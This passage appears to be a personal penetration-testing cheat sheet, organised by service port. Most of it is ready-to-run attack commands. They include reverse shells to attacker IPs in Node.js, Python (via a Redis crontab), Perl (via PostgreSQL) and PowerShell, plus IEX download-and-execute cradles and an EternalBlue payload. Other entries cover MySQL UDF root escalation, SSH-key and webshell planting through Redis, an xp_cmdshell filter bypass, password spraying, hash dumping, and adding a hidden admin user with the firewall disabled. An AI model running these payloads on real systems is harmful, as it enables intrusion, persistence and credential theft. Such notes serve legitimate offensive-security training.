if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
# Once you've run the script, go back to wireshark and follow one of the smb TCP stream
</syntaxhighlight>

[[File:2022-09-image-1.png|thumb]]

=== Enumerate ===

<syntaxhighlight lang="bash">
enum4linux -A
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254
nbtscan -r 192.168.11.0/24
nmblookup -A target
rpcclient -U "" target // connect as blank user /nobody
smbclient ///
smbclient -L //
smbclient //192.168.31.147/kathy -I 192.168.31.147
smbmap -H
smbmap -u '' -p '' -H
smbmap -u 'guest' -p '' -H
smbmap -u '' -p '' -H -R
smbmap -u "" -p "" -d MYGROUP -H 10.11.1.22
crackmapexec smb
crackmapexec smb -u '' -p ''
crackmapexec smb -u 'guest' -p ''
crackmapexec smb -u '' -p '' --shares
</syntaxhighlight>

=== Mount share ===

<syntaxhighlight lang="bash">
mount -t auto --source //x.x.x.x
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
smbclient ///
smbclient /// -U
</syntaxhighlight>

=== Shell ===

<syntaxhighlight lang="bash">
psexec.py /:@
psexec.py /@ -hashes :
wmiexec.py /:@
wmiexec.py /@ -hashes :
smbexec.py /:@
smbexec.py /@ -hashes :
atexec.py /:@
atexec.py /@ -hashes :
</syntaxhighlight>

=== Eternal Blue ===

<syntaxhighlight lang="bash">
MS17-010 - EternalBlue
MS08-067 - MS08-067
CVE-2017-7494 - CVE-2017-7494
# Send_and_Exectue.py
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 > exploit.exe
python2 send_and_execute.py 10.10.10.40 exploit.exe
-----------------------------------------
# Command Execution
https://www.exploit-db.com/exploits/42315
# Uncomment this line and add your CMD
service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
-----------------------------------------
# AutoBlue
# Generate shellcode from shell_prep.sh
https://github.com/3ndG4me/AutoBlue-MS17-010
python eternalblue_exploit*.py
</syntaxhighlight>

=== Man in the middle ===

==== URI file attack ====

<syntaxhighlight lang="bash">
# See writeup for Vault
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.
Kali > cat @file.url # Can also save as desktop.ini
[InternetShortcut]
URL=anything
WorkingDirectory=anything
IconFile=\\192.168.118.14\%USERNAME%.icon
IconIndex=1
# Start responder
sudo responder -I tun0 -v
# Hashtype
net-NTLMv2
# Upload file to SMB and wait for a user to access the file.
</syntaxhighlight>

----

== 161 - SNMP ==

<syntaxhighlight lang="bash">
snmp-check [-p PORT]
</syntaxhighlight>

----

== 194,6667,6660-7000 - IRC ==

<syntaxhighlight lang="bash">
# Can use different clients, like irssi
# See notes from box; UT99
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
NICK ran213eqdw123
#If a PING : is responded you need to send
#PONG :
VERSION
HELP
INFO
LINKS
HELPOP USERCMDS
HELPOP OPERCMDS
OPERATOR CAPA
ADMIN #Admin info
USERS #Current number of users
TIME #Server's time
STATS a #Only operators should be able to run this
NAMES #List channel names and usernames inside of each channel -> Nombre del canal y nombre de las personas que estan dentro
LIST #List channel names along with channel banner
WHOIS #WHOIS a username
USERHOST #If available, get hostname of a user
USERIP #If available, get ip of a user
JOIN #Connect to a channel
#Operator creds Brute-Force
OPER
</syntaxhighlight>

----

== 389, 636, 3268, 3269 - LDAP ==

=== Enumerate LDAP ===

<syntaxhighlight lang="bash">
nmap -n -sV --script "ldap* and not brute" -p 389 dc-ip
</syntaxhighlight>

=== Dump LDAP info ===

Must have valid credentials

<syntaxhighlight lang="bash">
pip3 install ldapdomaindump
ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
</syntaxhighlight>

=== Search queries ===

<syntaxhighlight lang="bash">
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.
ldapsearch -x -h -b "dc=XXXX"
# Example
ldapsearch -x -H LDAP://192.168.89.122 -b "dc=hutch,dc=offsec"
</syntaxhighlight>

----

== 873 - rsync ==

=== Commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync
# List shares
rsync -av --list-only rsync://192.168.243.126/
# Upload files
rsync -av test.txt rsync://192.168.243.126/fox
</syntaxhighlight>

=== Upload SSH key ===

<syntaxhighlight lang="bash">
# 1 Generate an SSH key
ssh-keygen -t rsa
# 2 If you are in a users folder, create a .ssh
mkdir .ssh
rsync -av .ssh TARGET_IP/home_dir/
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file
touch authorized_keys
echo -n 'CONTENT of id_rsa.pub' >> authorized_keys
# 4 Transfer the authorized_keys to the target
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/
# 5 SSH into the machine. You need to know the owner of home_dir
ssh -i id_rsa USER@TARGETIP
</syntaxhighlight>

<syntaxhighlight lang="bash">
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync
</syntaxhighlight>

----

== 1098/1099/1050 - Java RMI ==

[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]

<syntaxhighlight lang="bash">
# Running Remote Method Guesser
# https://github.com/qtc-de/remote-method-guesser#installation
java -jar rmg-4.3.0-jar-with-dependencies.jar
</syntaxhighlight>

----

== 1433 - MSSQL ==

=== Microsoft SQL Server 2017 directory locations ===

<syntaxhighlight lang="bash">
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf
</syntaxhighlight>

=== Execute commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands
# Log in to mssql
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@
# Execute commands
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
# this turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
# this enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Bypass blackisted "EXEC xp_cmdshell"
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —
</syntaxhighlight>

=== xp_cmdshell ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands
# Need credentials
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
</syntaxhighlight>

=== Extracting hashes from .mdf file ===

<syntaxhighlight lang="bash">
https://github.com/xpn/Powershell-PostExploitation
# read this if troulbe
https://github.com/xpn/Powershell-PostExploitation/issues/1
# Run Powershell on linux
pwsh
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.RawCore.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.Framework.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> import-module .\Get-MDFHashes.ps1
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Get-MDFHashes -mdf "./master.mdf"
</syntaxhighlight>

----

== 1521, 1522-1529 - Oracle TNS Listener ==

----

== 1978, 1979, 1980 - Remote Mouse ==

<syntaxhighlight lang="bash">
# Use nc to check header
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.
</syntaxhighlight>

----

== 2049 - NFS ==

=== no_root_squash ===

https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS

=== Access NFS through ssh tunnel ===

<syntaxhighlight lang="bash">
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c
# Output from /etc/exports on target
/srv/Share 10.1.1.0/24(insecure,rw)
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)
# Forward connection - Run the ssh command on attacker
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049
mount -t nfs 127.0.0.1:/srv/pelota my_share
cd my_share
cat > shell.c
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
gcc shell.c -o shell
chmod u+s shell
# Reverse connection - Run the ssh command on target
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount
</syntaxhighlight>

----

== 3000 - NodeJs ==

<syntaxhighlight lang="javascript">
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
# The Javascript code below is a Node.js reverse shell.
# Remember to change the IP address and PORT with the nc you are running.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.33.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
</syntaxhighlight>

----

== 3306 - MySQL/MariaDB ==

=== Privilege escalation ===

<syntaxhighlight lang="bash">
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf
# User-defined function (UDF)
# If you can login as root you can create a malicious functions to run commands.
https://www.exploit-db.com/exploits/1518
# You can also compile it on attacker if target dont have gcc. Use --static.
# Check if secure_file_priv. If empty means disabled
show variables like '%secure_file_priv%';
# Find plugin path. Add the path on step file (dumpfile)
show variables like '%plugin%';
$ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
# Can also transfer exploit raptor_udf2.so with hex.
## xxd -p raptor_udf2.so | tr -d '\n' > raptor_udf2.so.hex
* $ mysql -u root -p
* Enter password:
* [...]
# Set variable for shellcode
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
# Output shellcode to file on target
## select binary @shell into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
# OR
select do_system('cp /bin/bash /tmp/out; chmod +xs /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
</syntaxhighlight>

=== Privilege escalation method 2 ===

<syntaxhighlight lang="bash">
https://github.com/mysqludf/lib_mysqludf_sys
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.
xxd -p lib_mysqludf_sys.so| tr -d '\n' > lib_mysqludf_sys.so.hex
cat lib_mysqludf_sys.so.hex | xclip -selection clipboard
MariaDB [(none)]> select @@plugin_dir
MariaDB [(none)]> set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
MariaDB [(none)]> select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this '/usr/lib/lib_mysqludf_sys.so
MariaDB [(none)]> create function sys_exec returns int soname 'udf_sys_exec.so';
MariaDB [(none)]> select * from mysql.func where name='sys_exec';
MariaDB [(none)]> select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh')
</syntaxhighlight>

<syntaxhighlight lang="bash">
git clone https://github.com/mysqludf/lib_mysqludf_sys.git
cd lib_mysqludf_sys
rm lib_mysqludf_sys.so
sed -i 's|$(LIBDIR)|.|g' Makefile
sed -i 's|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g' Makefile
ex lib_mysqludf_sys.c <<<"57,62m27|wq"
sudo apt install libmariadbd-dev
make
</syntaxhighlight>

----

== 3389 - RDP ==

=== Add user and enable RDP ===

<syntaxhighlight lang="bash">
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md
net user aghanim Password123 /add
net localgroup Administrators aghanim /add
net localgroup "Remote Desktop Users" aghanim /ADD
# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Turn firewall off
netsh firewall set opmode disable
Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
If you get this error:
"ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.""
Add this reg key:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /
</syntaxhighlight>

=== ThinVNC ===

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47519
</syntaxhighlight>

----

== 4505, 4506 - zmtp ==

<syntaxhighlight lang="bash">
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in
# https://github.com/jasperla/CVE-2020-11651-poc
python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
python3 exploit.py --master 192.168.115.130 -r /etc/shadow
</syntaxhighlight>

----

== 5432, 5433 - PostgreSQL ==

=== Commands ===

<syntaxhighlight lang="bash">
psql -U # Open psql console with user
psql -h -U -d # Remote connection
psql -h -p -U -W # Remote connection
</syntaxhighlight>

<syntaxhighlight lang="sql">
psql -h localhost -d -U #Password will be prompted
\list # List databases
\c # use the database
\d # List tables
\du+ # Get users roles
#Read a file
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;
#Write ascii to a file (copy to cannot copy binary data)
COPY (select convert_from(decode('','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd';
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
#Check if current user is superiser
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false
#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
#Check users privileges over a table (pg_shadow on this example)
SELECT grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='pg_shadow'
#Get users roles
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolconnlimit, r.rolvaliduntil,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
</syntaxhighlight>

=== RCE ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

postgres=# COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.115:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;;
COPY 0
</syntaxhighlight>

----

== 5800, 5801, 5900, 5901 - VNC ==

----

== 5985, 5986 - WinRM ==

----
The easiest way to connect to WinRM using C# is to use '''WSMAN Automation'''.

Reference <code>wsmauto.dll</code> from <code>Windows\System32</code> in your project.

The following code should work:

<syntaxhighlight lang="csharp">
IWSMan wsman = new WSManClass();
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();
if (options != null)
{
try
{
// options.UserName = ???;
// options.Password = ???;
IWSManSession session = (IWSManSession)wsman.CreateSession("http://<your_server_name>/wsman", 0, options);
if (session != null)
{
try
{
// retrieve the Win32_Service xml representation
var reply = session.Get("http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt", 0);
// parse xml and dump service name and description
var doc = new XmlDocument();
doc.LoadXml(reply);
foreach (var elementName in new string[] { "p:Caption", "p:Description" })
{
var node = doc.GetElementsByTagName(elementName)[0];
if (node != null) Console.WriteLine(node.InnerText);
}
}
finally
{
Marshal.ReleaseComObject(session);
}
}
}
finally
{
Marshal.ReleaseComObject(options);
}
}
</syntaxhighlight>

Source:

* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp stackoverflow]

== 6370 - Redis ==

=== Commands & info ===

<syntaxhighlight lang="bash">
# Service file
/etc/systemd/system/redis.service
# Config file
installdir/redis/etc/redis. conf
</syntaxhighlight>

=== Crontab ===

<syntaxhighlight lang="bash">
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
</syntaxhighlight>

=== Dumping database ===

=== Load module ===

<syntaxhighlight lang="bash">
# See PG Sybaris writeup
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.
# Then you need some way to upload the compiled module
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so
# List loaded modules to check it was correctly loaded: MODULE LIST
# Execute commands:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
Unload the module whenever you want: MODULE UNLOAD mymodule
</syntaxhighlight>

=== Redis-rogue server ===

<syntaxhighlight lang="bash">
# A exploit for Redis(<=5.0.5) RCE
# https://github.com/n0b0dyCN/redis-rogue-server
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379
</syntaxhighlight>

=== SSH ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]

<syntaxhighlight lang="bash">
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa
# 2 Write the public key to a file : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
# 4 Save the public key to the authorized_keys file on redis server:
# 4
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52
</syntaxhighlight>

=== Webshell ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]

<syntaxhighlight lang="bash">
# You must know the path of the Web site folder.
# Try also /var/www/html
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
</syntaxhighlight>

----

== 27017 - MongoDB ==

=== Crack hash ===

<syntaxhighlight lang="python">
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.
#!/usr/bin/python3
import base64
import hashlib
import hmac
import sys
USERNAME = 'admin'
SALT = 'zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg=='
CLIENT_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK'
SERVER_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D'
ITERATIONS = 15000
TARGET = '/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98='
WORDLIST = '/usr/share/wordlists/rockyou.txt'
def byte_xor(ba1, ba2):
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
def proof(username, password, salt, client_nonce, server_nonce, iterations):
raw_salt = base64.b64decode(salt)
client_first_bare = 'n={},r={}'.format(username, client_nonce)
server_first = 'r={},s={},i={}'.format(server_nonce, salt, iterations)
client_final_without_proof = 'c=biws,r={}'.format(server_nonce)
auth_msg = '{},{},{}'.format(client_first_bare, server_first, client_final_without_proof)
salted_password = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), raw_salt, iterations)
client_key = hmac.digest(salted_password, b'Client Key', 'sha256')
stored_key = hashlib.sha256(client_key).digest()
client_signature = hmac.new(stored_key, auth_msg.encode('utf-8'), 'sha256').digest()
client_proof = byte_xor(client_key, client_signature)
return base64.b64encode(client_proof).decode('utf-8')
counter = 0
with open(WORDLIST) as f:
for candidate in f:
counter = counter + 1
if counter % 1000 == 0:
print('Tried {} passwords'.format(counter))
p = proof(USERNAME, candidate.rstrip('\n'), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)
if p == TARGET:
print('Password found: {}'.format(candidate.rstrip('\n')))
sys.exit(0)
print('Wordlist exhausted with no password found.')
</syntaxhighlight>

----

== 29819 - Windows IoT Core SirepServer ==

[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]

<syntaxhighlight lang="bash">
# Upload file - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe'
# Execute command - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444'
</syntaxhighlight>

----

== Active Directory/Windows ==

https://blog.aghanim.net/?p=2078

=== ASREPRoast ===

=== BloodHound ===

<syntaxhighlight lang="bash">
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.
python3 bloodhound.py -c All -d -u -p '' -ns
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Start neo4j database
./neo4j console
# Start BloodHound
./BloodHound.bin --no-sandbox
</syntaxhighlight>

=== Curated list of commands ===

=== Dump hash ===

<syntaxhighlight lang="bash">
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
</syntaxhighlight>

=== Kerberoast ===

=== Pass The Hash ===

=== Password Spraying ===

<syntaxhighlight lang="bash">
crackmapexec smb -u users.txt -p passwords.txt
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
</syntaxhighlight>

=== PSEXEC.py, PSExec.exe, Evil-WinRM ===

<syntaxhighlight lang="bash">
python3 psexec.py test.local/john:password123@10.10.10.1
</syntaxhighlight>

<syntaxhighlight lang="bash">
# evil-winrm -u svc-alfresco -p 's3rvice' -i 10.10.10.161
</syntaxhighlight>

<syntaxhighlight lang="bash">
# From SysInternals
PsExec.exe -i -u domain\user cmd.exe
</syntaxhighlight>

=== Powershell commands ===

Running powershell x64, and running (IEX) the downloaded ps1 file.

<syntaxhighlight lang="powershell">
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/mini-reverse.ps1')
</syntaxhighlight>

Running Powershell on target with ExectionPolicy to bypass

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass
</syntaxhighlight>

Running PowerUp.ps1 on target machine

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/PowerUp.ps1');Invoke-AllChecks"
</syntaxhighlight>

Downloading SharpHound.exe on target machine

<syntaxhighlight lang="powershell">
(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:9000/SharpHound.exe', 'C:\Users\[...]\Desktop\SharpHound.exe')
# Execute SharpHound
./SharpHound.exe
</syntaxhighlight>

Running PowerView.ps1 on target machine

<syntaxhighlight lang="powershell">
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.45:5555/PowerView.ps1')
</syntaxhighlight>

Running Nishangs Invoke-PowershellTCP

<syntaxhighlight lang="powershell">
powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.18:9000/shell.ps1')
</syntaxhighlight>

Use invoke webrequest and download script. With -UseBasicParsing. ''-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.''

<syntaxhighlight lang="powershell">
iex (iwr '10.10.14.9:9000/ipw.ps1') -UseBasicParsing
</syntaxhighlight>

Download a file and save it to location.

<syntaxhighlight lang="powershell">
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe
</syntaxhighlight>

Mini-reverseshell.ps1

<syntaxhighlight lang="powershell">
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
</syntaxhighlight>

Powershell location

<syntaxhighlight lang="bash">
# 64-bit Windows
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
# 32-bit (x86) Windows
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
</syntaxhighlight>

=== User enumeration ===

<syntaxhighlight lang="bash">
./kerbrute_linux_amd64 userenum -d --dc usernames.txt
</syntaxhighlight>

----

== Ansible ==

